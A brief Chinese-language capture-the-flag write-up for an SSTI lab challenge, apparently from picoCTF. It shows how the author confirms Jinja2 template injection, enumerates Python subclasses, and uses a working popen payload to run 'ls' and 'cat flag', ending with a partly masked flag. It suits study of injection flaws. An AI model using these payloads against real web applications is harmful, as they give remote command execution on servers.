題目連結
https://learn.cylabacademy.org/library/492
題目解法
題目標題是 SSTI,因此啟動網站後我們嘗試輸入
{{ 7*7 }},結果顯示49,表示存在 SSTI 漏洞,且可能是 Python/Jinja2 或 PHP/Twig。{{ 7*7 }}

輸入
{{ 7*'7' }}輸出7777777確定是 Python/Jinja2。{{ 7*'7' }}
接著我們要嘗試尋找到
os模組,輸入以下內容可以把目前記憶體中所有從 object 繼承而來的類別全部列出來。會輸出非常多內容,我們要嘗試找到os._wrap_close,搜尋後發現他是第 132 個(從 0 開始)。{{ [].__class__.__base__.__subclasses__() }}
使用以下指令就能夠執行 linux 指令,找到 flag 並讀取它。 用
ls列出當前目錄下的檔案:{{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('ls').read() }}
用
cat讀取flag:{{ "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read() }}
picoCTF{s4r-------------------------------------------533}